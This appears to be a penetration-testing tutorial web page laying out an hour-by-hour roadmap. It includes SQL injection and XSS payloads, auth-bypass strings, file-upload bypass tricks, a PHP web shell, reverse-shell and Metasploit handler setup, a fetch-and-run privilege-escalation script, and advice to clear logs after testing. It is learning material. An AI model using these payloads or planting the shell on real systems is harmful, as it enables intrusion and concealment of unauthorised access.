24-Hour PenTest Roadmap

Penetration Testing Mastery in 24 Hours

A no-fluff, action-oriented roadmap to jumpstart your penetration testing skills. Follow this guide to build practical cybersecurity expertise in just one day.

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The 24-Hour Roadmap

1-2

Battlefield Setup

Goal: Ready your tools and environment.

Tools:

  • Kali Linux (use Bare Metal or VirtualBox)
  • VPN (optional, but good for real-world testing)
  • Install must-have tools:
    nmap ffuf Burp Suite sqlmap nikto gobuster linpeas winpeas enum4linux netcat

Hack:

Create a script that sets up your hacking environment in one go.

3-4

External Recon — Know the Enemy

Objective: Find your target's digital footprint.

# Subdomain enumeration
subfinder -d target.com > subs.txt
assetfinder --subs-only target.com >> subs.txt
sort -u subs.txt -o subs.txt
# Live hosts
httpx -l subs.txt -o live.txt

80/20 Tip:

Recon wins bounties. Always look for forgotten staging or dev subdomains.

5-6

Port Scanning & Fingerprinting

Use Nmap like a sniper — quiet, accurate, targeted.

nmap -sC -sV -Pn -oN scan.txt target.com

High-Impact Flags:

  • -sC: Default scripts
  • -sV: Version detection
  • -Pn: Skip ping (good for firewalled hosts)

Hack:

Use whatweb and nuclei for tech detection and vuln scan:

nuclei -u https://target.com -t vulnerabilities/
7-9

Web Application Hacking

Use Burp Suite like a pro.

Focus on:

Auth Bypass XSS SQL Injection IDOR File Uploads

Templates:

SQL Injection
Payload: ' OR 1=1--
sqlmap -u "https://target.com/page.php?id=1" --batch
XSS
Payload: <script>alert(1)</script>
Test in search boxes, URL params, headers
File Upload
Rename .jpg to .php.jpg or use .htaccess
Check for upload bypass using double extensions or Content-Type tricks
10-11

Authentication Flaws

Think like this: What happens if I change my token, bypass auth, or replay a session?

Hacks:

  • Try Burp Intruder for brute-force
  • Manipulate X-Forwarded-For, JWT tokens, cookies
  • Bypass logins with:
    admin' --
    admin' or '1'='1
12-14

Network Services Attacks

Check for:

SMB Shares → enum4linux FTP → Anonymous login SSH → Weak credentials RCE in outdated versions

Cheats:

nc -nv target 21 # FTP
smbclient -L //target/ -N

Hack:

Searchsploit every version you find:

searchsploit vsftpd
15-17

Exploitation & Shells

Get a reverse shell:

nc -nlvp 4444

PHP Reverse Shell (web):

<?php system($_GET["cmd"]); ?>
Access:
http://target.com/shell.php?cmd=whoami

Metasploit Basic Flow:

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost YOUR_IP
set lport 4444
run
18-20

Privilege Escalation

Run Enumeration Scripts:

# Linux
wget linpeas.sh && bash linpeas.sh
# Windows
upload and run winPEAS.exe

SUID Privesc:

find / -perm -4000 2>/dev/null

High-impact paths:

  • Writable /etc/passwd, cron jobs
  • Kernel exploits (check version)
  • Sudo misconfigs (sudo -l)
21

Report What Matters (Fast)

Bug Template:

Title: SQL Injection on /product?id
Summary: SQLi in product page allows data extraction.
PoC: GET /product?id=1' OR '1'='1
Impact: Full DB dump possible.
Payload: ' OR '1'='1

Hack:

Use screenshots + concise steps. Don't overexplain.

22-23

Anonymity & Rules

  • Use VPN or Tor if testing externally
  • Understand scope — don't hack what you're not allowed to
  • Clear your tracks when done (logs, shells, uploads)
24

Build Your Repeatable Process

The 5-Step Workflow:

1. Recon

Map the attack surface

2. Enumeration

Ports, services, dirs

3. Vulnerability Discovery

Manual + automated

4. Exploitation

Shells, access, privesc

5. Reporting

Clear, concise, exploitable

Final 80/20 Penetration Testing Advice

  • Don't memorize tools. Memorize attack logic.
  • Practice 1 vuln a day. Use TryHackMe, HTB, PortSwigger Academy.
  • Save your own cheat sheet as you learn.

Learning Resources

masaudsec.com

Comprehensive cybersecurity learning platform covering ethical hacking, penetration testing, and more.

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TryHackMe

Learn cybersecurity through hands-on virtual labs and guided paths for all skill levels.

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Hack The Box

Online platform to test and advance your penetration testing skills with realistic challenges.

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PortSwigger Academy

Free online training on web application security with interactive labs and real-world vulnerabilities.

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OWASP

Open Web Application Security Project with free resources and documentation about web security.

Visit Site

Kali Linux Docs

Official documentation for Kali Linux tools and penetration testing techniques.

Visit Site

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